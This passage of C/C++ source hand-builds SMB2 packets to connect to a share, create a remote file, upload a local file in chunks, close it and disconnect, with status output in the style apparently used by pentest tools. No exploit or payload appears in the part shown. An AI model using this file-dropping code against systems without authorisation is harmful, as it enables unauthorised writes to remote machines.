419 | trh.trh.path_len = wcslen(path) * 2;
420 | memcpy(&s2h.smb2_header.ProtocolID, "\xfe\x53\x4d\x42", 4);
421 | memcpy(&s2h.smb2_header.CreditCharge, "\01\00", 2);
422 | memcpy(&s2h.smb2_header.StructureSize, "\x40\x00", 2);
423 | memcpy(&s2h.smb2_header.ChannelSequence[0], "\x00\x00", 2);
424 | memcpy(&s2h.smb2_header.Reserved[0], "\x00\x00", 2);
425 | memcpy(&s2h.smb2_header.Command[0], "\x03\x00", 2);
426 | memcpy(&s2h.smb2_header.CreditRequest[0], "\x1f\x00", 2);
427 | memcpy(&s2h.smb2_header.Flags[0], "\x00\x00\x00\x00", 4);
428 | memcpy(&s2h.smb2_header.NextCommand[0], "\x00\x00\x00\x00", 4);
429 | s2h.smb2_header.MessageID = MessageID++;
430 | mpid.i = GetCurrentProcessId();
431 | memcpy(&s2h.smb2_header.ProcessID[0], mpid.buffer, 4);
432 | memcpy(&s2h.smb2_header.TreeID[0], "\x00\x00\x00\x00", 4);
433 | memcpy(&sessid[0], &recBuffer[44], 8);
434 | memcpy(&s2h.smb2_header.SessionID[0], sessid, 8);
435 | memcpy(&s2h.smb2_header.Signature[0], "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16);
436 |
437 | memset(netsess, 0, 4);
438 | netsess[3] = sizeof(s2h.buffer) + sizeof(trh) + wcslen(path) * 2;
439 |
440 | memcpy(finalPacket, netsess, 4);
441 | memcpy(finalPacket + 4, s2h.buffer, sizeof(s2h.buffer));
442 | memcpy(finalPacket + 4 + sizeof(s2h.buffer), trh.buffer, sizeof(trh.buffer));
443 | memcpy(finalPacket + 4 + sizeof(s2h.buffer) + sizeof(trh.buffer), path, wcslen(path) * 2);
444 | send(s, finalPacket, 4 + sizeof(s2h.buffer) + sizeof(trh.buffer) + (wcslen(path) * 2), 0);
445 |
446 | // here we receive the return status of the Connect Tree from SMB
447 | recv(s, recBuffer, DEFAULT_BUFLEN, 0);
448 | unsigned int* connectTreeStatus = (unsigned int*)(recBuffer + 12);
449 | if (*connectTreeStatus != 0) {
450 | printf("[!] SMB Connect Tree: %S failed with status code 0x%x\n", path, *connectTreeStatus);
451 | ret = FALSE;
452 | }
453 | else {
454 | printf("[+] SMB Connect Tree: %S success\n", path);
455 | }
456 | return ret;
457 | }
458 |
459 | BOOL SMB2CreateFileRequest(SOCKET s, char* recBuffer, int& MessageID, wchar_t* fname) {
460 | BOOL ret = TRUE;
461 | myint mpid;
462 | myshort us;
463 | usmb2_header s2h;
464 | unsigned char sessid[8];
465 | char netsess[4];
466 | u_create_request create_req;
467 | char finalPacket[DEFAULT_BUFLEN];
468 | memcpy(&sessid[0], &recBuffer[44], 8);
469 | mpid.i = GetCurrentProcessId();
470 | memcpy(&s2h.smb2_header.ProtocolID, "\xfe\x53\x4d\x42", 4);
471 | memcpy(&s2h.smb2_header.CreditCharge, "\01\00", 2);
472 | memcpy(&s2h.smb2_header.StructureSize, "\x40\x00", 2);
473 | memcpy(&s2h.smb2_header.ChannelSequence[0], "\x00\x00", 2);
474 | memcpy(&s2h.smb2_header.Reserved[0], "\x00\x00", 2);
475 | memcpy(&s2h.smb2_header.Command[0], "\x05\x00", 2);
476 | memcpy(&s2h.smb2_header.CreditRequest[0], "\x1f\x00", 2);
477 | memcpy(&s2h.smb2_header.Flags[0], "\x00\x00\x00\x00", 4);
478 | memcpy(&s2h.smb2_header.NextCommand[0], "\x00\x00\x00\x00", 4);
479 | s2h.smb2_header.MessageID = MessageID++;
480 | memcpy(&s2h.smb2_header.ProcessID[0], mpid.buffer, 4);
481 | memcpy(&s2h.smb2_header.TreeID[0], "\x01\x00\x00\x00", 4);
482 | memcpy(&s2h.smb2_header.SessionID[0], sessid, 8);
483 | memcpy(&s2h.smb2_header.Signature[0], "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16);
484 | memset(&create_req, 0, sizeof(create_req));
485 | create_req.cr.StructuredSize = 0x39;
486 | create_req.cr.SecurityFlags = '\x00';
487 | create_req.cr.RequestedOplockLevel = '\xff';
488 | create_req.cr.ImpersonationLevel = 2;
489 | memcpy(&create_req.cr.SmbCreateFlags[0], "\x00\x00\x00\x00\x00\x00\x00\x00", 8);
490 | memcpy(&create_req.cr.Reserved[0], "\x00\x00\x00\x00\x00\x00\x00\x00", 8);
491 | memcpy(&create_req.cr.DesiredAccess[0], "\x96\x01\x12\x00", 4);
492 | memcpy(&create_req.cr.FileAttribute[0], "\x80\x00\x00\x00", 4);
493 | memcpy(&create_req.cr.ShareAccess[0], "\x01\x00\x00\x00", 4);
494 | memcpy(&create_req.cr.CreateDisposition[0], "\x05\x00\x00\x00", 4);
495 | memcpy(&create_req.cr.CreateOptions[0], "\x60\x00\x00\x00", 4);
496 | create_req.cr.NameOffset = 0x78;
497 | create_req.cr.NameLength = wcslen(fname) * 2;
498 | create_req.cr.CreateContextsOffset = 0;
499 | create_req.cr.CreateContextsLength = 0;
500 | memset(netsess, 0, 4);
501 | us.i = sizeof(create_req) + sizeof(s2h) + (wcslen(fname) * 2);
502 | netsess[2] = us.buffer[1];
503 | netsess[3] = us.buffer[0];
504 | memcpy(&s2h.smb2_header.ProtocolID, "\xfe\x53\x4d\x42", 4);
505 | memcpy(&s2h.smb2_header.CreditCharge, "\01\00", 2);
506 | memcpy(&s2h.smb2_header.StructureSize, "\x40\x00", 2);
507 | memcpy(&s2h.smb2_header.ChannelSequence[0], "\x00\x00", 2);
508 | memcpy(&s2h.smb2_header.Reserved[0], "\x00\x00", 2);
509 | memcpy(&s2h.smb2_header.Command[0], "\x05\x00", 2);
510 | memcpy(&s2h.smb2_header.CreditRequest[0], "\x1f\x00", 2);
511 | memcpy(&s2h.smb2_header.Flags[0], "\x00\x00\x00\x00", 4);
512 | memcpy(&s2h.smb2_header.NextCommand[0], "\x00\x00\x00\x00", 4);
513 | s2h.smb2_header.MessageID = MessageID++;
514 | memcpy(&s2h.smb2_header.ProcessID[0], mpid.buffer, 4);
515 | memcpy(&s2h.smb2_header.TreeID[0], "\x01\x00\x00\x00", 4);
516 | memcpy(&s2h.smb2_header.SessionID[0], sessid, 8);
517 | memcpy(&s2h.smb2_header.Signature[0], "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16);
518 |
519 | // send the final packet
520 | memcpy(finalPacket, netsess, 4);
521 | memcpy(finalPacket + 4, s2h.buffer, sizeof(s2h.buffer));
522 | memcpy(finalPacket + 4 + sizeof(s2h.buffer), create_req.buffer, sizeof(create_req.buffer));
523 | memcpy(finalPacket + 4 + sizeof(s2h.buffer) + sizeof(create_req.buffer), fname, wcslen(fname) * 2);
524 | send(s, finalPacket, 4 + sizeof(s2h.buffer) + sizeof(create_req.buffer) + (wcslen(fname) * 2), 0);
525 |
526 | // here we receive the return status of the Create Request File from SMB
527 | recv(s, recBuffer, DEFAULT_BUFLEN, 0);
528 | unsigned int* createFileStatus = (unsigned int*)(recBuffer + 12);
529 | if (*createFileStatus != 0) {
530 | printf("[!] SMB Create Request File failed with status code 0x%x\n", *createFileStatus);
531 | ret = FALSE;
532 | }
533 | else {
534 | printf("[+] SMB Create Request File: %S success\n", fname);
535 | }
536 |
537 | return ret;
538 | }
539 |
540 | BOOL SMB2WriteRequest(SOCKET s, char* recBuffer, int& MessageID, wchar_t* infile, wchar_t* fname) {
541 | BOOL ret = TRUE;
542 | myint mpid;
543 | myshort slen;
544 | usmb2_header s2h;
545 | unsigned char sessid[8];
546 | char netsess[4];
547 | char fileid[16];
548 | unsigned int* writeResponseStatus;
549 | u_write_request write_req;
550 | FILE* fp;
551 | char* chunk = NULL;
552 | char* finalPacket = NULL;
553 | size_t nread;
554 | char cinfile[MAX_PATH];
555 |
556 | memcpy(&sessid[0], &recBuffer[44], 8);
557 | mpid.i = GetCurrentProcessId();
558 | memset(cinfile, 0, sizeof(cinfile));
559 | wcstombs(cinfile, infile, wcslen(infile));
560 | fp = fopen(cinfile, "rb");
561 | if (fp == NULL) {
562 | printf("[!] Unable to open input file: %s\n", cinfile);
563 | return FALSE;
564 | }
565 | write_req.wr.FileOffset = 0;
566 | memcpy(fileid, recBuffer + 132, 16);
567 | memcpy(&s2h.smb2_header.ProtocolID, "\xfe\x53\x4d\x42", 4);
568 | memcpy(&s2h.smb2_header.CreditCharge, "\01\00", 2);
569 | memcpy(&s2h.smb2_header.StructureSize, "\x40\x00", 2);
570 | memcpy(&s2h.smb2_header.ChannelSequence[0], "\x00\x00", 2);
571 | memcpy(&s2h.smb2_header.Reserved[0], "\x00\x00", 2);
572 | memcpy(&s2h.smb2_header.Command[0], "\x09\x00", 2);
573 | memcpy(&s2h.smb2_header.CreditRequest[0], "\x1f\x00", 2);
574 | memcpy(&s2h.smb2_header.Flags[0], "\x00\x00\x00\x00", 4);
575 | memcpy(&s2h.smb2_header.NextCommand[0], "\x00\x00\x00\x00", 4);
576 | memcpy(&s2h.smb2_header.ProcessID[0], mpid.buffer, 4);
577 | memcpy(&s2h.smb2_header.TreeID[0], "\x01\x00\x00\x00", 4);
578 | memcpy(&s2h.smb2_header.SessionID[0], sessid, 8);
579 | memcpy(&s2h.smb2_header.Signature[0], "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16);
580 | memset(&write_req, 0, sizeof(write_req));
581 | memcpy(&write_req.wr.fileid[0], fileid, 16);
582 | write_req.wr.FileOffset = 0L;
583 | write_req.wr.StructureSize = 0x31;
584 | write_req.wr.DataOffset = 0x70;
585 | chunk = (char*)malloc(CHUNK_SIZE);
586 | finalPacket = (char*)malloc(DEFAULT_BUFLEN * 16);
587 | while ((nread = fread(chunk, 1, CHUNK_SIZE, fp)) > 0) {
588 | write_req.wr.WriteLen = nread;
589 | s2h.smb2_header.MessageID = MessageID++;
590 | slen.i = sizeof(s2h.buffer) + sizeof(write_req) + nread;
591 | memset(netsess, 0, 4);
592 | netsess[3] = slen.buffer[0];
593 | netsess[2] = slen.buffer[1];
594 | memset(finalPacket, 0, DEFAULT_BUFLEN * 16);
595 | memcpy(finalPacket, netsess, 4);
596 | memcpy(finalPacket + 4, s2h.buffer, sizeof(s2h.buffer));
597 | memcpy(finalPacket + 4 + sizeof(s2h.buffer), write_req.buffer, 48);
598 | memcpy(finalPacket + 4 + sizeof(s2h.buffer) + 48, chunk, nread);
599 | send(s, finalPacket, 4 + sizeof(s2h.buffer) + 48 + nread, 0);
600 | // here we receive the return status of the Write Request from SMB
601 | recv(s, recBuffer, DEFAULT_BUFLEN, 0);
602 | writeResponseStatus = (unsigned int*)(recBuffer + 12);
603 | if (*writeResponseStatus != 0) {
604 | printf("[!] SMB Write Request failed with status code 0x%x\n", *writeResponseStatus);
605 | return FALSE;
606 | }
607 | write_req.wr.FileOffset = write_req.wr.FileOffset + nread;
608 | }
609 | printf("[+] SMB Write Request file: %S success\n", fname);
610 | free(chunk);
611 | free(finalPacket);
612 | return ret;
613 | }
614 |
615 | BOOL SMB2CloseFileRequest(SOCKET s, char* recBuffer, int& MessageID) {
616 | BOOL ret = TRUE;
617 | myint mpid;
618 | usmb2_header s2h;
619 | unsigned char sessid[8];
620 | char netsess[4];
621 | char finalPacket[DEFAULT_BUFLEN];
622 | char fileid[16];
623 |
624 | unsigned char close_file[] = \
625 | "\x18\x00\x01\x00\x00\x00\x00\x00\x10\x00\x00\x00\x0a\x00\x00\x00" \
626 | "\x09\x00\x00\x00\x0a\x00\x00\x00";
627 |
628 | memcpy(&sessid[0], &recBuffer[44], 8);
629 | mpid.i = GetCurrentProcessId();
630 | memcpy(&s2h.smb2_header.ProtocolID, "\xfe\x53\x4d\x42", 4);
631 | memcpy(&s2h.smb2_header.CreditCharge, "\01\00", 2);
632 | memcpy(&s2h.smb2_header.StructureSize, "\x40\x00", 2);
633 | memcpy(&s2h.smb2_header.ChannelSequence[0], "\x00\x00", 2);
634 | memcpy(&s2h.smb2_header.Reserved[0], "\x00\x00", 2);
635 | memcpy(&s2h.smb2_header.Command[0], "\x06\x00", 2);
636 | memcpy(&s2h.smb2_header.CreditRequest[0], "\x1f\x00", 2);
637 | memcpy(&s2h.smb2_header.Flags[0], "\x30\x00\x00\x00", 4);
638 | memcpy(&s2h.smb2_header.NextCommand[0], "\x00\x00\x00\x00", 4);
639 | s2h.smb2_header.MessageID = MessageID++;
640 | memcpy(&s2h.smb2_header.ProcessID[0], mpid.buffer, 4);
641 | memcpy(&s2h.smb2_header.TreeID[0], "\x01\x00\x00\x00", 4);
642 | memcpy(&s2h.smb2_header.SessionID[0], sessid, 8);
643 | memcpy(&s2h.smb2_header.Signature[0], "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16);
644 | memset(netsess, 0, 4);
645 | netsess[3] = 0x58;
646 | memcpy(fileid, recBuffer + 132, 16);
647 | memcpy(close_file + 8, fileid, 16);
648 | memcpy(finalPacket, netsess, 4);
649 | memcpy(finalPacket + 4, s2h.buffer, sizeof(s2h.buffer));
650 | memcpy(finalPacket + 4 + sizeof(s2h.buffer), close_file, sizeof(close_file));
651 | send(s, finalPacket, 4 + sizeof(s2h.buffer) + sizeof(close_file), 0);
652 | // here we receive the return status of the Close File Request from SMB
653 | recv(s, recBuffer, DEFAULT_BUFLEN, 0);
654 | unsigned int* closeFileStatus = (unsigned int*)(recBuffer + 12);
655 | if (*closeFileStatus != 0) {
656 | printf("[!] SMB Close File Request failed with status code 0x%x\n", *closeFileStatus);
657 | ret = FALSE;
658 | }
659 | else {
660 | printf("[+] SMB Close File success\n");
661 | }
662 | return ret;
663 | }
664 |
665 | BOOL SMB2TreeDisconnect(SOCKET s, char* recBuffer, int& MessageID) {
666 | BOOL ret = TRUE;
667 | myint mpid;
668 | usmb2_header s2h;
669 | unsigned char sessid[8];
670 | char netsess[4];
671 | char finalPacket[DEFAULT_BUFLEN];
672 |
673 | unsigned char tree_disconnect[] = "\x04\x00\x00\x00";
674 |
675 | memcpy(&sessid[0], &recBuffer[44], 8);
676 | mpid.i = GetCurrentProcessId();
677 | memset(netsess, 0, 4);
678 | netsess[3] = 0x44;
679 | memcpy(&s2h.smb2_header.ProtocolID, "\xfe\x53\x4d\x42", 4);
680 | memcpy(&s2h.smb2_header.CreditCharge, "\01\00", 2);
681 | memcpy(&s2h.smb2_header.StructureSize, "\x40\x00", 2);
682 | memcpy(&s2h.smb2_header.ChannelSequence[0], "\x00\x00", 2);
683 | memcpy(&s2h.smb2_header.Reserved[0], "\x00\x00", 2);
684 | memcpy(&s2h.smb2_header.Command[0], "\x04\x00", 2);
685 | memcpy(&s2h.smb2_header.CreditRequest[0], "\x1f\x00", 2);
686 | memcpy(&s2h.smb2_header.Flags[0], "\x30\x00\x00\x00", 4);
687 | memcpy(&s2h.smb2_header.NextCommand[0], "\x00\x00\x00\x00", 4);
688 | s2h.smb2_header.MessageID = MessageID++;// , "\x10\x00\x00\x00\x00\x00\x00\x00", 8);
689 | memcpy(&s2h.smb2_header.ProcessID[0], mpid.buffer, 4);
690 | memcpy(&s2h.smb2_header.TreeID[0], "\x01\x00\x00\x00", 4);
691 | memcpy(&s2h.smb2_header.SessionID[0], sessid, 8);
692 | memcpy(&s2h.smb2_header.Signature[0], "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16);
693 |
694 | memcpy(finalPacket, netsess + 1, 3);
695 | memcpy(finalPacket + 3, s2h.buffer, sizeof(s2h.buffer));
696 | memcpy(finalPacket + 3 + sizeof(s2h.buffer), tree_disconnect, sizeof(tree_disconnect));
697 | send(s, finalPacket, 3 + sizeof(s2h.buffer) + sizeof(tree_disconnect), 0);
698 | // here we receive the return status of the Close File Request from SMB
699 | recv(s, recBuffer, DEFAULT_BUFLEN, 0);
700 | unsigned int* treeDisconnectStatus = (unsigned int*)(recBuffer + 12);
701 | if (*treeDisconnectStatus != 0) {
702 | printf("[!] SMB Tree Disconnect failed with status code 0x%x\n", *treeDisconnectStatus);
703 | ret = FALSE;
704 | }
705 | else {
706 | printf("[+] SMB Tree Disconnect success\n");
707 | }
708 | return ret;
709 | }
--------------------------------------------------------------------------------